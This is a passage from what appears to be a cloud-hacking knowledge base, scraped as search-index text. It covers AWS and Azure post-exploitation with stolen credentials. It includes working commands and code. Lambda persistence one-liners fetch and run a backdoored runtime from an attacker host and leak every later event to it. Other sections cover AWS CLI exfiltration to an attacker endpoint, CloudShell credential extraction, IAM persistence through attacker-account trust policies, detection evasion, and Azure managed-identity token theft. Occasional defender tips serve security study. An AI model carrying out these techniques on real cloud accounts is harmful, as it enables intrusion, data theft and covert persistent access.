In order to avoid this, it is best to make use of a \"safe\" operating system, such as Windows, Mac OS, or Ubuntu. If you are short on time, or simply MUST use one of these Linux distributions, you can modify your botocore library with a hard-coded user agent.

Tip

Are you going up against an apex blue team who will detect anything? It may be a good idea to spoof a user agent string that one would expect in the environment. For example, if these IAM credentials belong to a developer who uses a Windows workstation, it would be very strange for API calls to suddenly start having a user agent with a Linux operating system.

Defenders, this may also be worth looking into for detection purposes.

For more information on this, please see its article.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#guardduty-credential-exfiltration","title":"GuardDuty Credential Exfiltration","text":"

Note

This section only applies to IAM credentials taken from the Instance Metadata Service of an EC2 instance. It does not apply to other IAM credentials.

When using IAM credentials taken from an EC2 instance, you run the risk of triggering the UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS GuardDuty finding. This finding alerts on scenarios in which IAM credentials from an EC2 instance are used from outside AWS (E.X your home IP address).

This is particularly relevant in scenarios in which you have access to the IAM credentials, but not the host (Server Side Request Forgery).

To get around this, we can make use of VPC Endpoints which will not trigger this alert. To make things easier, the SneakyEndpoints tool was developed to allow you to quickly stand up infrastructure to bypass this detection.

For more information on this, please see its article.

"},{"location":"aws/general-knowledge/using_stolen_iam_credentials/#situational-awareness","title":"Situational Awareness","text":"

Now that you have everything set up and you know what to look out for, your next question may be, \"what is in this AWS account?\". If you are performing a no-knowledge assessment, and thus, don't have any insights into what services are running in the account, it makes it difficult to know what to target or look into.

One option would be to enumerate the service-linked roles in the account. A service-linked role is a special kind of IAM role that allows an AWS service to perform actions in your account. Because of this, we can potentially enumerate them without authentication.

From the previous validity checking step, we will know the AWS account ID we are operating in. That, combined with this technique will allow us to enumerate what services the AWS account uses. This can be helpful to answer questions such as, \"Is our target using GuardDuty? Is this account a part of an organization? Are they using containers (ECS, EKS), or are they using EC2?\".

For more information on this, please see its article.

"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/","title":"Create a Console Session from IAM Credentials","text":"
  • Technique seen in the wild

    Reference: Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies

  • Tools mentioned in this article

    aws-vault: A vault for securely storing and accessing AWS credentials in development environments.

    aws_consoler: A utility to convert your AWS CLI credentials into AWS console access.

    Pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.

When performing an AWS assessment you will likely encounter IAM credentials. These credentials can be used with the AWS CLI or other tooling to query the AWS API.

While this can be useful, sometimes you just can't beat clicking around the console. If you have IAM credentials, there is a way that you can spawn an AWS Console session using a tool such as aws-vault. This can make certain actions much easier rather than trying to remember the specific flag name for the AWS CLI.

Note

If you are using temporary IAM credentials (ASIA...), for example, from an EC2 instance, you do not need to have any special IAM permissions to do this. If you are using long-term credentials (AKIA...), you need to have either sts:GetFederationToken or sts:AssumeRole permissions. This is to generate the temporary credentials you will need.

Tip

If you are attempting to avoid detection, this technique is not recommended. Aside from the suspicious ConsoleLogin CloudTrail log, and the odd user-agent (Ex: Why is the IAM role associated with the CI/CD server using a Firefox user-agent string?), you will also generate a ton of CloudTrail logs.

"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#using-aws-vault","title":"Using aws-vault","text":"

To start, export the relevant environment variables for the IAM credentials you have. Next, install aws-vault.

From here, perform the following commands depending on the type of credentials you have.

"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#user-credentials","title":"User Credentials","text":"

For long-term credentials (Those starting with AKIA), there is an extra step that must be completed first. You will need to generate temporary credentials to retrieve the sign in token. To do this, we will make use of sts:GetFederationToken. As an alternative, sts:AssumeRole can also be used.

aws sts get-federation-token --name blah\n

This will return temporary IAM credentials that you can use with the next step.

"},{"location":"aws/post_exploitation/create_a_console_session_from_iam_credentials/#sts-credentials","title":"STS Credentials","text":"

For short-term credentials (Those starting with ASIA), you can run the following command:

aws-vault login\n

Tip

If you'd like to generate a link without it automatically opening a new tab in your browser you can use the -s flag and it will be printed to stdout.

To learn more about custom identity broker access to the AWS Console please see the official documentation.

"},{"location":"aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/","title":"Download Tools and Exfiltrate Data with the AWS CLI","text":"
  • Technique seen in the wild

    Reference: SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto

In an attempt to be stealthy, threat actors will often \"live off the land\", using tools and scripts already existing on a host machine outside of their intended purpose. This can help them avoid detection by blending in with their surroundings.

In AWS environments, it is common to find servers which have the AWS CLI installed (It is included by default in Amazon Linux). This makes it an excellent choice for adversaries to move data around, avoiding more common tools like curl or Wget which may be monitored for suspicious uses.

As seen in the wild by the SCARLETEEL threat actor, the AWS CLI can be used to download and exfiltrate data using an attacker-hosted backend. You can host an S3 compatible object store such as MinIO and then use the --endpoint-url flag to interact with that service. This makes it easy to download tools, exfiltrate compromised data and more.

$ aws s3 ls --endpoint-url https://attacker.s3.store\n2023-07-13 02:06:30 criminalbucket\n2023-07-13 22:01:36 exfiltrated-data\n

Tip

As mentioned by Jesse Lepich, a layer 7 firewall like the AWS Network Firewall can be used to limit access to non-allowlisted domains.

"},{"location":"aws/post_exploitation/get_iam_creds_from_console_session/","title":"Get IAM Credentials from a Console Session","text":"
  • Original Research

    Retrieving AWS security credentials from the AWS consoletitle by Christophe Tafani-Dereeper

When performing a penetration test or red team assessment, it is not uncommon to gain access to a developer's machine. This presents an opportunity for you to jump into AWS infrastructure via credentials on the system. For a myriad of reasons you may not have access to credentials in the .aws folder, but instead have access to their browser's session cookies (for example via cookies.sqlite in FireFox).

Gaining access to the Console is great, but it may not be ideal. You may want to use certain tools that would instead require IAM credentials.

To get around this, we can leverage CloudShell. CloudShell exposes IAM credentials via an undocumented endpoint on port 1338. After loading session cookies from the victim into your browser, you can navigate to CloudShell and issue the following commands to get IAM credentials.

[user@cloudshell]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\")\n\n[user@cloudshell]$ curl localhost:1338/latest/meta-data/container/security-credentials -H \"X-aws-ec2-metadata-token: $TOKEN\"\n

Alternatively, you can run the following command, which returns credentials with a short TTL (roughly 15m).

[user@cloudshell]$ aws configure export-credentials --format env\n
"},{"location":"aws/post_exploitation/iam_persistence/","title":"AWS IAM Persistence Methods","text":"

After gaining a foothold in an AWS environment, an attacker may attempt to establish persistence. Doing this will allow them to return to the account later on to continue their activities. This article is a collection of such persistence techniques. It's worth noting at the time of writing, that this is a small subset of the world of possibilities available to an attacker, and more techniques will be added over time.

More complex methods that require additional explanation will link to their respective Hacking the Cloud articles.

"},{"location":"aws/post_exploitation/iam_persistence/#iam-user-access-keys","title":"IAM User Access Keys","text":"
  • Technique seen in the wild

    • SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto
    • Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor
  • Required IAM Permission

    • iam:CreateAccessKey

AWS IAM users can create pairs of access keys to programmatically interact with the AWS API. These credentials can be used with the AWS CLI and allow those with access to those credentials to perform actions as the associated user.

Access keys created this way are long lived (starting with AKIA), meaning that they do not time out or expire by default. Because of this, creating access keys for a user you'd like to maintain access to can be an incredibly simple and easy form of persistence in an AWS environment.

Tip

Aside from the opportunity to maintain persistence in an AWS environment, iam:CreateAccessKey can also potentially be used for lateral movement to create credentials for other users.

"},{"location":"aws/post_exploitation/iam_persistence/#iam-user-login-profile","title":"IAM User Login Profile","text":"
  • Technique seen in the wild

    • Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor
  • Required IAM Permission

    • iam:CreateLoginProfile

AWS IAM users can be configured to access the AWS console with a username and password. An adversary with the iam:CreateLoginProfile permission can create login profiles for other users (specifying the password of their choosing). Through this method an adversary can maintain access to an IAM user by logging into the AWS console and performing operations from there.

"},{"location":"aws/post_exploitation/iam_persistence/#iam-role-assume-role-policy","title":"IAM Role Assume Role Policy","text":"
  • Required IAM Permission

    • iam:UpdateAssumeRolePolicy

In order to assume an IAM role, a role trust policy must be attached to it. This policy specifies the identities that are permitted to assume the role.

An adversary could invoke iam:UpdateAssumeRolePolicy, specifying that their own, attacker-controlled AWS account is permitted to assume the role in the environment. This would allow the adversary to maintain access to that role, and use it when needed.

{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": {\n    \"Effect\": \"Allow\",\n    \"Action\": \"sts:AssumeRole\",\n    \"Resource\": \"arn:aws:iam::<attacker_aws_account_id>:role/secret_admin\"\n  }\n}\n

Tip

For the defensive side; it is a good idea to regularly audit role trust policies that establish trust with AWS accounts outside of your organization. In most cases, this will likely identify SaaS and vendor AWS accounts, however it may turn up something much more nefarious.

"},{"location":"aws/post_exploitation/iam_persistence/#survive-access-key-deletion-with-stsgetfederationtoken","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"
  • Technique Article

    • Survive Access Key Deletion with sts:GetFederationToken
"},{"location":"aws/post_exploitation/iam_persistence/#ec2-instance-persistence","title":"EC2 Instance Persistence","text":"

EC2 instances which have an IAM role attached to them will have their own instance metadata service (IMDS) available. If an adversary has code execution on the EC2 instance, or is able to abuse server side request forgery in an application running on the host, they can steal IAM credentials from the IMDS.

By maintaining access to an EC2 instance which has a role with the permissions you want, this can be an effective and quiet method to keep access to an AWS environment. No additional API calls are required to use those credentials.

"},{"location":"aws/post_exploitation/iam_persistence/#lambda-persistence","title":"Lambda Persistence","text":"
  • Technique Article

    • Lambda Persistence
"},{"location":"aws/post_exploitation/iam_persistence/#user-data-script-persistence","title":"User Data Script Persistence","text":"
  • Technique Article

    • User Data Script Persistence
"},{"location":"aws/post_exploitation/intercept_ssm_communications/","title":"Intercept SSM Communications","text":"
  • Original Research

    Intercept SSM Agent Communications by Nick Frichette

  • Tools mentioned in this article

    ssm-agent-research

The SSM Agent is responsible for allowing EC2 instances to communicate with SSM services. The agent authenticates with SSM via the IAM role and the credentials in the Metadata Service. As a result, if you gain access to an EC2 instance or its IAM credentials you can spoof the agent and intercept EC2 Messages and SSM Sessions.

For an in depth explanation of how this works, please see the original research.

Warning

The tools used in this page are proof of concept, and should not be used for serious use cases. If you create or find a more production-ready tool please open an issue.

"},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ec2-messages","title":"Intercept EC2 Messages","text":"

The normal operations of the SSM Agent is to poll for messages it has been sent. We can abuse this functionality by frequently polling ourselves. Doing so, will increase the likelihood (to a near guarantee) that we receive the messages before the real SSM agent does.

By abusing this functionality we can intercept the EC2 messages and response with our own output, allowing us to force a \"Success\" response.

Using the ssm-send-command-interception.py PoC:

"},{"location":"aws/post_exploitation/intercept_ssm_communications/#intercept-ssm-sessions","title":"Intercept SSM Sessions","text":"

Normally the SSM Agent will spawn a WebSocket connection back to SSM. This first WebSocket is the control channel and is responsible for spawning the data channels (which actually process the information). Due to this setup, we can spawn our own control channel and intercept all incoming connections. This can allow us to intercept or modify the communications happening, and potentially allow us to intercept sensitive commands and credentials.

Using the ssm-session-interception.py PoC:

"},{"location":"aws/post_exploitation/lambda_persistence/","title":"Lambda Persistence","text":"
  • Original Research

    Gaining Persistency on Vulnerable Lambdas by Yuval Avrahami

  • Additional Resources

    Revisiting Lambda Persistence

Warning

Depending on the specific runtime and tools available, you will likely have to change the approach taken to gain persistence in a Lambda function. The general concepts should serve as a guide for a more specific attack you develop.

After finding a remote code execution vulnerability in a Lambda function, you'll probably want to establish persistence. The steps to do this will depend on the specific runtime that is being used by the Lambda function. Below the Python and Ruby runtimes are used as an example.

Note

See the \"Creating a Listener\" section at the bottom of this page for how to setup a listener for exfiltrated data.

"},{"location":"aws/post_exploitation/lambda_persistence/#python-runtime","title":"Python Runtime","text":"

After identifying that your target is using the Python runtime, you'll need a copy of the /var/runtime/bootstrap.py file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

Next, you'll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

Note

You can customize what the backdoor does, depending on what you're looking to do. Maybe you want to leak a specific user's data. Maybe you just want Cookies. It's up to you!

With the bootstrap.py file backdoored, you'll want to host it in a location that is accessible for the Lambda function to pull down.

The next step is creating a one-liner to pull down this modified code, as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

import urllib3\nimport os\nhttp = urllib3.PoolManager()\n\n# Writing the new bootstrap to a file\nr = http.request('GET', 'https://evil.server/bootstrap.py')\nw = open('/tmp/bootstrap.py', 'w')\nw.write(r.data.decode('utf-8'))\nw.close()\n\n# Getting the current request ID\nr = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nrid = r.headers['Lambda-Runtime-Aws-Request-Id']\n\n# End the current event\nhttp.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'})\n\n# Swap the runtimes\nos.system('python3 /tmp/bootstrap.py')\n

Or as a long one-liner (don't forget to change the hostname):

python3 -c \"import urllib3;import os;http = urllib3.PoolManager();r = http.request('GET', 'https://evil.server/bootstrap.py');w = open('/tmp/bootstrap.py', 'w');w.write(r.data.decode('utf-8'));w.close();r = http.request('GET', 'http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');rid = r.headers['Lambda-Runtime-Aws-Request-Id'];http.request('POST', f'http://127.0.0.1:9001/2018-06-01/runtime/invocation/{rid}/response', body='null', headers={'Content-Type':'application/x-www-form-urlencoded'});os.system('python3 /tmp/bootstrap.py')\"\n

From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \"cold\" and you will lose access to the persistence you've established. You can execute the function again to keep it \"warm\" or you can simply reestablish persistence.

"},{"location":"aws/post_exploitation/lambda_persistence/#ruby-runtime","title":"Ruby Runtime","text":"

After identifying that your target is using the Python runtime, you\u2019ll need a copy of the /var/runtime/lib/runtime.rb file. You can get this by either creating your own Lambda function and copying it, or by leaking it from the target Lambda function.

Next, you\u2019ll want to modify this runtime with some logic to backdoor it. This can be simply done with a few lines such as the following:

With the runtime.rb file backdoored, you\u2019ll want to host it in a location that is accessible for the Lambda function to pull down. Note, you'll likely want to rename it to something like run.rb. This is because you'll want to create a symbolic link between everything in /var/runtime/lib to /tmp. This will ensure your modified runtime.rb file can access all the additional libraries it needs.

The next step is creating a one-liner to create those symbolic links, pull down this modified code, and execute it as well as to terminate the current event in the Runtime API. This can be done by posting to a specific endpoint with the current request ID. All together, that code should look something like this:

require 'net/http'\n\n# Writing the new runtime to a file\nuri = URI('https://evil.server/run.rb')\nr = Net::HTTP.get_response(uri)\nFile.write('/tmp/run.rb', r.body)\n\n# Getting the current request ID\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next')\nr = Net::HTTP.get_response(uri)\nrid = r.header['Lambda-Runtime-Aws-Request-Id']\n\n# End the current request\nuri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response')\nNet::HTTP.post(uri, 'null')\n

Or as a long one-liner (don\u2019t forget to change the hostname, create the symbolic links, or execute the code in the background):

ln -s /var/runtime/lib/* /tmp && ruby -e \"require 'net/http';uri = URI('https://evil.server/run.rb');r = Net::HTTP.get_response(uri);File.write('/tmp/run.rb', r.body);uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/next');r = Net::HTTP.get_response(uri);rid = r.header['Lambda-Runtime-Aws-Request-Id'];uri = URI('http://127.0.0.1:9001/2018-06-01/runtime/invocation/'+rid+'/response');Net::HTTP.post(uri, 'null')\" && ruby /tmp/run.rb &\n

From here on, all subsequent events should be leaked to the attacker. Remember that if the Lambda function is not used for 5-15 minutes, it will become \u201ccold\u201d and you will lose access to the persistence you\u2019ve established. You can execute the function again to keep it \u201cwarm\u201d or you can simply reestablish persistence.

"},{"location":"aws/post_exploitation/lambda_persistence/#creating-a-listener","title":"Creating a Listener","text":"

How you receive leaked events is up to you. The author found that the simplest way was via post requests to an Nginx server. The configuration was simple. First, outside of the server block, include a line like log_format postdata $request_body.

Next, include the following inside the server block:

location = /post {\n    access_log /var/log/nginx/postdata.log postdata;\n    proxy_pass http://127.0.0.1/post_extra;\n}\nlocation = /post_extra {\n    access_log off;\n    return 200;\n}\n

After restarting Nginx, all logs received via post requests should be stored in /var/log/nginx/postdata.log.

"},{"location":"aws/post_exploitation/role-chain-juggling/","title":"Role Chain Juggling","text":"
  • Original Research

    Daniel Heinsen

  • Tools mentioned in this article

    AWSRoleJuggler

When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.

Role chaining is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.

Through this, you can extend your access by chaining assume-role calls.

Note

You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.

To automate this work Daniel Heinsen developed a tool to keep the juggling going.

user@host:$ ./aws_role_juggler.py -h\nusage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]\n
"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/","title":"Run Shell Commands on EC2 with Send Command or Session Manager","text":"

After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via ssm:SendCommand or ssm:StartSession.

Tip

By default, the commands that are issued are not logged to CloudTrail. Specifically they are \"HIDDEN_DUE_TO_SECURITY_REASONS\". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.

"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#send-command","title":"Send Command","text":"
  • Required IAM Permissions

    • ssm:SendCommand
  • Recommended but not Required IAM Permissions

    • ssm:ListCommandInvocations
    • ec2:DescribeInstances

You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:

aws ssm send-command \\\n--instance-ids \"i-00000000000000000\" \\\n--document-name \"AWS-RunShellScript\"\n--parameters commands=\"*shell commands here*\"\n

If you're just looking to run a quick C2 payload, or perhaps create a new user this will likely be enough. However, if you also want to retrieve the output of the command you will need to make a ssm:ListCommandInvocations call as well.

If you would like to retrieve the output, make a note of the CommandId returned to you in the Send Command call. After a short period of time (to let the command run) you can use this Id to lookup the results. You can do this with the following:

aws ssm list-command-invocations \\\n--command-id \"command_id_guid\" \\\n--details\n

Note

The --details is required to view the output of the command.

The output of the command will be in the Output section under CommandPlugins.

"},{"location":"aws/post_exploitation/run_shell_commands_on_ec2/#session-manager","title":"Session Manager","text":"
  • Required IAM Permissions

    • ssm:StartSession

If instead you'd like a more interactive shell experience, you can make use of Session Manager. Session Manager allows you to have an SSH-esc experience, making it easy to interact with EC2 instances.

To begin, you will first need to install the SSM Session Manager Plugin. The specifics of this will depend on what operating system you are using.

With that installed, you can then run the following command to start an interactive session.

aws ssm start-session --target instance-id\n
"},{"location":"aws/post_exploitation/s3_acl_persistence/","title":"S3 File ACL Persistence","text":""},{"location":"aws/post_exploitation/s3_acl_persistence/#requirements","title":"Requirements","text":"

For this scenario to work, you will need to have s3:PutBucketAcl, s3:PutObjectAcl, or PutObjectVersionAcl on the target s3 bucket or associated object.

"},{"location":"aws/post_exploitation/s3_acl_persistence/#purpose","title":"Purpose","text":"

When doing an assessment in AWS you may want to maintain access for an extended period of time, but you may not have the ability to create a new IAM user, create a new key for existing users, or even perform IAM role-chain juggling. How else can you extend your access? By backdooring key S3 resources using S3 Access Control Lists (ACLs).

"},{"location":"aws/post_exploitation/s3_acl_persistence/#background-on-sensitive-s3-use-cases","title":"Background on Sensitive S3 Use Cases","text":"

Many organizations have grown to use AWS S3 to store Terraform state files, CloudFormation Templates, SSM scripts, application source code, and/or automation scripts used to manage specific account resources (EC2 instances, Lambda Functions, etc.) During post-exploitation, you may identify opportunities to access these resources. Provisioning write, or in some cases read only access to these resources, may provide persistent access to credentials for the AWS account and/or resources provisioned in the account. Furthermore, write access specifically may allow an attacker to update configuration files, source code for applications, and/or automation code that modifies downstream resources in the account. On the next update/execution of the relevant data/code, this may allow an attacker to further extend access to other resources in the account, or even beyond the specific AWS account accessed. This brings us to the method: S3 ACL Access Control.

"},{"location":"aws/post_exploitation/s3_acl_persistence/#technique","title":"Technique","text":"

S3 ACL Access Control is a recognized functionality of AWS in that you can use an access control list to allow access to S3 buckets from outside your own AWS account without configuring an Identity-based or Resource-based IAM policy. While many organizations may be prepared to alert on S3 buckets made public via resource policy, this alerting may not extend to capabilities associated with bucket or object ACLs. Furthermore, subtler configurations that expose bucket or object resources to other accounts via ACLs may go undetected by organizations, even those with strong alerting capabilities. Using these permissions, you can extend your access by allowing other AWS accounts you control to read or write objects, buckets, and bucket ACLs. Furthermore, the access can be extended to AUTHENTICATED USERS, which is a term AWS uses to describe any AWS IAM principal in any other AWS account. The access can also be extended to ANY USER which is a term AWS uses to describe anonymous access that does not require authentication.

"},{"location":"aws/post_exploitation/s3_acl_persistence/#key-considerations","title":"Key Considerations","text":"
  1. Bucket Public Access Block will prevent S3 bucket ACLs from being configured to allow public (ANY USER) access. If configured, it will provide some limitations to this technique. It does not, however, block the sharing of an s3 object to a specific account, due to what AWS classifes as 'public'.
  2. ACLs for Buckets or objects can be disabled at the bucket level, which would mandate the bucket owner as the object owner no matter who uploads the object. From April 2023, AWS will make this the default for all newly created buckets.
"},{"location":"aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/","title":"Survive Access Key Deletion with sts:GetFederationToken","text":"
  • Technique seen in the wild

    • How Adversaries Can Persist with AWS User Federation
  • Required IAM Permission

    • sts:GetFederationToken

After identifying that access keys have been compromised by an adversary, defenders will often immediately deactivate or delete those credentials. This is a good practice as it theoretically disables an adversary's access to the environment. However, it is important to know that an adversary can still use credentials generated from sts:GetFederationToken, even if the original access keys have been deleted.

sts:GetFederationToken is an API that can be invoked by IAM users and returns a set of temporary (ASIA...) IAM credentials. These credentials can be used normally through the CLI with 2 exceptions. From the documentation:

  • You cannot call any IAM operations using the AWS CLI or the AWS API.
  • You cannot call any AWS STS operations except sts:GetCallerIdentity.

However, it is important to note that these limitations do not apply if an attacker generates a console session from IAM credentials. By using the AWS console you could interact with the IAM service and perform actions such as privilege escalation, maintaining persistence, etc.

Tip

If you are attempting to avoid detection, generating a console session from IAM credentials is NOT advised. There are numerous IoCs which may trigger alerts, such as a suspicious user-agent and the ConsoleLogin CloudTrail event. If at all possible, only use the IAM credentials generated from sts:GetFederationToken in the CLI.

To create temporary IAM credentials using sts:GetFederationToken, you can use the following CLI command:

aws sts get-federation-token \\\n--name your_choice \\\n--policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess \\\n--duration-seconds 129600\n

Warning

While all 3 parameters are configurable by the attacker, keep in mind the potential for detection based on this. For instance, in a highly monitored environment, would the use of the AdministratorAccess policy raise suspicions? What about an extremely long lived session?

It is important to note that the provided policy-arns will use the intersection of the permissions that were passed. Meaning that if the user has no permissions, passing the AdministratorAccess policy will not provide it admin access to the account. This can, however, be helpful if you don't know what level of privilege you've compromised. By passing a highly privileged policy, you will ensure you will get the full access afforded to the identity.

Tip

In addition to passing a policy ARN, you can also pass an inline policy, which may be helpful to avoid suspicious use of certain policies.

For defenders, in addition to deactivating or deleting IAM user access keys, it may be worthwhile to attach a \"DenyAll\" policy to the compromised user. This would ensure that even if an adversary was using this technique, they would not be able to use their generated credentials.

It is also advisable to determine how common the use of sts:GetFederationToken is in your environments and alert on its use, or implement a Service Control Policy to prevent it.

"},{"location":"aws/post_exploitation/user_data_script_persistence/","title":"User Data Script Persistence","text":"

When using EC2 instances a common design pattern is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download a config, etc. Additionally these scripts are run as root or System which makes them even more useful. Should we gain access to an EC2 instance we may be able to persist by abusing user data scripts via two different methods.

"},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-the-user-data-script","title":"Modify the User Data Script","text":"
  • Required IAM Permissions

    • modify-instance-attribute
  • Recommended but not Required IAM Permissions

    • ec2:StartInstances
    • ec2:DescribeInstances
    • ec2:StopInstances

If we have permission to directly modify the user data scripts, we can potentially persist by adding our own backdoor to it. To do this, we must stop the instance because user data scripts can only be modified when the instance is stopped. You could theoretically wait for this to happen naturally, have a script that constantly tries to modify it, or stop it yourself if you have permissions to do so.

The steps to modify user data scripts can be found here.

"},{"location":"aws/post_exploitation/user_data_script_persistence/#modify-a-resource-called-by-the-script","title":"Modify a Resource Called by the Script","text":"

In situations where we cannot modify the user data script itself, we may be able to modify a resource called by the script. Say for example a script is downloaded by an S3 bucket, we may be able to add our backdoor to it.

"},{"location":"azure/abusing-managed-identities/","title":"Abusing Managed Identities","text":"
  • Original Research

    Create an Azure Vulnerable Lab: Part #4 \u2013 Managed Identities by Andrei Agape

Using Managed Identities it is possible to grant a resource (such as VM/WebApp/Function/etc) access to other resource (such as Vaults/Storage Accounts/etc.) For example, if we want to give our web application access to a private storage account container without having to deal with how we safely store connection strings in config files or source code, we could use a managed identity.

Compute Resource --> Managed Identity --> Assigned Role(s) --> Storage Account --> Container\n

A Managed Identity can be a System or User identity. A System identity is bound to the resource, but a User identity is independent.

"},{"location":"azure/abusing-managed-identities/#setup-azure-managed-identity","title":"Setup Azure Managed Identity","text":"

First we enable the managed identity for the web application:

)

Once enabled, we are given the possibility to configure the roles assigned for this identity (i.e: permissions granted to the service that we enabled the identity for).

Lastly, we assign one or more roles (which is a set of permissions) for that identity. A role can be assigned at Subscription level, Resource group, Storage Account, Vault or SQL and it propagates \u201cdownwards\u201d in the Azure architecture layer.

The default Owner, owning the resource, and Contributor, read/write content of the resource, roles have the most permissions.

Under each role, we can see in details what permissions are included. Azure also allows the user to configure custom roles in the case that the built-in ones are not suitable for your needs.

Similarly, to see who has permissions granted for a given resource, we can check under the Access Control (IAM) -> View access to this resource.

So in our case, we should see under the Storage Account that the web application has Reader and Data Access:

"},{"location":"azure/abusing-managed-identities/#next-steps","title":"Next steps","text":"

Now that we have the basics of how Managed Identity works, let\u2019s see how can we exploit this. Since the web application has access to the storage account, and we compromised the web application, we should also be able to gain access to the storage account as well. Simply put, we get the same permissions that compromised resource has assignred to it. Based on how poorly the Identity roles are assigned, it could even be the case that the permissions are assigned at the Subscription level, effectively granting us access to all the resources within the subscription!

While in our case it appears that the permissions are proper (we are limiting access only to the Storage Account that we need access to) and limit the roles to Reader and Data Access (instead of Contributor or Owner), there is still a caveat that allows us to exploit the access privileges. The web app only requires permissions to access the \"images\" container, however the identity access has been misconfigured and allows the application read permissions for all keys on the storage account. Thus granting the attacker the ability to access any container within the same account.

"},{"location":"azure/abusing-managed-identities/#exploiting-azure-managed-identity","title":"Exploiting Azure Managed Identity","text":"

Utilising command injection on the web app, we are able to make a curl request to the $IDENTITY_ENDPOINT URL stored in the environment variables and get an Access token and Account ID (clientId in the response) which can be used to authenticate to Azure.

curl \"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01\" -H secret:$IDENTITY_HEADER\n

Using the Azure Powershell module, we can connect to Azure with the access token:

PS> Install-Module -Name Az -Repository PSGallery -Force\nPS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>\n

Once the connection has been established, you will be able to see the details for the tenant, subscription and other details the compromised managed identity has access to - using the Get-AzResource Azure Powershell cmdlet, we can check which resources inside the subscription we can access:

To list the roles assigned to the managed identity, we can use the Azure Powershell cmdlet Get-AzRoleAssignment. This cmdlet requires and additional token from the Graph API which we can get from the https://graph.microsoft.com/ endpoint, additionally it requires the permission to list roles and permissions for identities which the compromised Managed Identity does not have.

However, you can still try to access the Storage Account keys without these permissions and see if they are successful. For that you can use the Get-AzStorageAccountKey cmdlet with the Resource Group Name and Account Name that was found in the previous step.

Get storage account keys:

>Get-AzStorageAccountKey -ResourceGroupName \"0xpwnlab\" -AccountName \"0xpwnstorageacc\"\n\nKeyName Value                       Permissions CreationTime\n------- -----                       ----------- ----------\nkey1    L175hccq[...]lH9DJ==        Full 3/12/20...\nkey2    vcZiPzJp[...]ZkKvA==        Full 3/12/20...\n

http://aka.ms/storage-explorer

If the above command returns two keys, then it means that our identity had permissions to list them. Assuming this is the case - let\u2019s use these keys in Azure Storage Explorer and see if there are other containers stored on the same account.

In the Azure Storage Explorer, we click the connect icon and select storage account or service.

On the second step, this time we select the Account name and key option:

For the Account name we use the name that we enumerated in the Get-AzResource step, and for the key; either of the two returned keys will work:

Once we connect, on the left side menu we should find a new storage account, we see 2 containers: the images container used by the web app, but also another one containing the flag.

And that\u2019s it! We have just seen how utilising a command injection into a web app, we discovered that it had a managed identity associated to it. After we got the JWT access token, we connected to Azure using the Azure Powershell CLI and enumerated the resources that we have access to. The improper permissions set for the Managed Identity allowed us to read the access key for the whole Storage Account and discover another private container that was not referenced anywhere, containing the flag for sensitive information.

"},{"location":"azure/anonymous-blob-access/","title":"Anonymous Blob Access","text":"
  • Original Research

    Create an Azure Vulnerable Lab: Part #1 \u2013 Anonymous Blob Access by Andrei Agape

\"Storage Accounts\" is the service provided by Azure to store data in the cloud. A storage account can used to store:

  • Blobs
  • File shares
  • Tables
  • Queues
  • VM disks

For this tutorial, we will focus on the Blobs section. Blobs are stored within a container, and we can have multiple containers within a storage account. When we create a container, Azure will ask on the permissions that we grant for public access. We can chose between:

  • Private Access \u2013 no anonymous access is allowed
  • Blob Access \u2013 we can access the blobs anonymously, as long as we know the full URL (container name + blob name)
  • Container Access \u2013 we can access the blobs anonymously, as long we know the container name (directory listing is enabled, and we can see all the files stored inside the container)

